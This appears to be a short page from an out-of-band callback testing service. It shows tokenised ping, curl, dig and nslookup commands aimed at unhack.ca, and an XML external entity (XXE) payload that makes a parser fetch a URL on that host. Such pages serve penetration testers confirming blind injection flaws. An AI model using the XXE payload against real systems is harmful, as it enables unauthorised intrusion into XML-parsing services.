$ ping -c1 -p 006d0c31b10550505a15a001bdb12900 unhack.ca
 
$ curl http://unhack.ca/p/6d0c31b10550505a15a001bdb129
 
$ dig 6d0c31b10550505a15a001bdb129 @unhack.ca
 
$ dig 6d0c31b10550505a15a001bdb129.ns.unhack.ca
 
C:\> nslookup 6d0c31b10550505a15a001bdb129 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6d0c31b10550505a15a001bdb129">]>
    <foo>&xxe;</foo>
 
Waiting for ping...